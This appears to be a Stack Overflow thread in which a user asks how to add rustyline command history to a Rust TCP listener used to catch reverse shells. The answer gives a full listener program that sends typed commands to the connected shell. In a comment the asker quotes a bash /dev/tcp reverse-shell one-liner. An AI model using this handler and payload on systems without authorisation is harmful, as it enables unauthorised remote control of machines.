0

I have this code to listen on a port and get a reverse shell

fn pipe_thread<R, W>(mut r: R, mut w: W) -> std::thread::JoinHandle<()>
where
    R: std::io::Read + Send + 'static,
    W: std::io::Write + Send + 'static,
{
    std::thread::spawn(move || {
        let mut buffer = [0; 1024];
        loop {
            let len = r.read(&mut buffer).unwrap();
            if len == 0 {
                println!("Connection lost");
                std::process::exit(0x0100);
            }
            w.write(&buffer[..len]).unwrap();
            w.flush().unwrap();
        }
    })
}

fn listen() -> std::io::Result<()> {
    let listener = std::net::TcpListener::bind(format!("{}:{}", "0.0.0.0", "55100"))?;
    println!("Started listener");

    let (stream, _) = listener.accept()?;
    let t1 = pipe_thread(std::io::stdin(), stream.try_clone()?);
    println!("Connection recieved");
    let t2 = pipe_thread(stream, std::io::stdout());
    t1.join().unwrap();
    t2.join().unwrap();

    return Ok(());
}

How would I implement rustyline in this code so if I press the up arrow inside the shell it will put the recent command as input

Basically like if I would run the program with rlwrap but have it built in inside the application

1 Answers1

0

Try this:

Include this in your Cargo.toml

[dependencies]
rustyline = "8.2.0"

Main.rs

use rustyline::error::ReadlineError;
use rustyline::Cmd;
use rustyline::Editor;
use rustyline::KeyEvent;
use std::io::Write;

fn pipe_thread<R, W>(mut r: R, mut w: W) -> std::thread::JoinHandle<()>
where
    R: std::io::Read + Send + 'static,
    W: std::io::Write + Send + 'static,
{
    std::thread::spawn(move || {
        let mut buffer = [0; 1024];
        loop {
            let len = r.read(&mut buffer).unwrap();
            if len == 0 {
                println!("Connection lost");
                std::process::exit(0x0100);
            }
            w.write(&buffer[..len]).unwrap();
            w.flush().unwrap();
        }
    })
}

fn main() -> std::io::Result<()> {
    let listener = std::net::TcpListener::bind(format!("{}:{}", "0.0.0.0", "55100"))?;
    println!("Started listener");

    let (mut stream, _) = listener.accept()?;
    println!("Connection recieved");
    let t = pipe_thread(stream.try_clone().unwrap(), std::io::stdout());

    let mut rl = Editor::<()>::new();
    rl.bind_sequence(KeyEvent::ctrl('R'), Cmd::HistorySearchBackward);
    loop {
        let readline = rl.readline(">> ");
        match readline {
            Ok(command) => {
                rl.add_history_entry(command.as_str());

                println!("{}", command);

                // Clone command to increase its lifetime
                let command = command.clone() + "\n";

                // Send a TCP message
                stream
                    .write(command.as_bytes())
                    .expect("Faild to send TCP.");
            }
            Err(ReadlineError::Interrupted) => {
                println!("CTRL-C");
                break;
            }
            Err(ReadlineError::Eof) => {
                println!("CTRL-D");
                break;
            }
            Err(err) => {
                println!("Error: {:?}", err);
                break;
            }
        }
    }

    return Ok(());
}
C. Lang
  • 463
  • 4
  • 12
  • How would I send the input given to the input of the reciever –  Jun 07 '21 at 16:46
  • @Fakebottle I have edited my answer to include a full example of sender and receiver. Hope this makes things more clear. – C. Lang Jun 07 '21 at 17:29
  • So you mean I have to use 2 applications for this or is it possible to make it in one. Cause for 2 applications I could already use something like rlwrap. But thans for the effort anyways :)) –  Jun 07 '21 at 17:56
  • @Fakebottle ahh, I misunderstood what the code you supplied was trying to do. I have once again updated my answer. You can test it by running it and connecting to it with something like netcat `nc localhost 55100`. – C. Lang Jun 07 '21 at 18:25
  • Thank you! This worked almost perfectly! The only problem is that it replaces the entire line when you go back to a old command for example [root@ubuntu ~]# echo hello | it gives "hello". But when I press the up arrow it removes the [root@ubuntu ~]# and just shows the last command :( –  Jun 07 '21 at 20:48
  • @Fakebottle I edited my answer to bind ctrl+R to a backward history search which is kind-of what you want to do. Take a look at this issue https://github.com/kkawakam/rustyline/issues/423 which talks about searching with a prefix like you want too. – C. Lang Jun 08 '21 at 13:31
  • No what I meant is that the path&user gets removed from the bash when I press the up arrow, so everything gets replaced which looks a bit weird. Here is what I mean -> https://pasteboard.co/K5Fgey1.png ! So on the last row I pressed the up arrow and the entire "[root@arch ~]$ " got replaced. Im wondering if I should put the buffer recived inside the rl.readline or do you know how to do it? –  Jun 08 '21 at 14:01
  • @Fakebottle I am confused about why [root@arch ~]$ is there in the first place, this is what happens when I run the program. https://pasteboard.co/K5FmitO.png. Once I start the program bash gets out the way – C. Lang Jun 08 '21 at 14:16
  • Im running "/bin/bash -c 'bash -i >& /dev/tcp/0.0.0.0/42069 0>&1'" to get the reverse connection. I basically want it like if I would run nc like this "rlwrap -cAr nc -nlvp 55100" And this is how it would act -> https://imgur.com/TiDOb6k .Is this possible to make like that in one rust program? –  Jun 08 '21 at 15:12
  • @Fakebottle Ok so If I understand correctly, [root@arch ~]$ is the path and user of the *target* system and not the one sending the commands. If so, then you could automatically execute some command on the target system to get the user and path. Then format it into a string to make it look like "[root@arch ~]$" and then just put that string into the code to replace the ">> ". If [root@arch ~]$ is the user and path of the system sending the commands then surely you would not want it prepending commands because it would suggest that the entered command will be run on the current system. – C. Lang Jun 08 '21 at 15:48
  • But if I can make it with a normal rce and rlwrap and get the history to work, I should be able to do it in just rust right? –  Jun 08 '21 at 16:03
  • @Fakebottle Yes, you will be able to make it in a single rust program. – C. Lang Jun 08 '21 at 16:21
  • So I got a idea! If I press the up arrow in the reverse shell it put ^[[A as a command and runs the last command. What if I would call the bash thing when the upperkey is pressed to update to the latest command. Do you have any idea of how to do that? –  Jun 08 '21 at 16:45
  • @Fakebottle How is this different to the function of the code in the answer? In the code I supplied, when you press the up arrow it will show the previous command and you can hit enter to run it. – C. Lang Jun 08 '21 at 17:11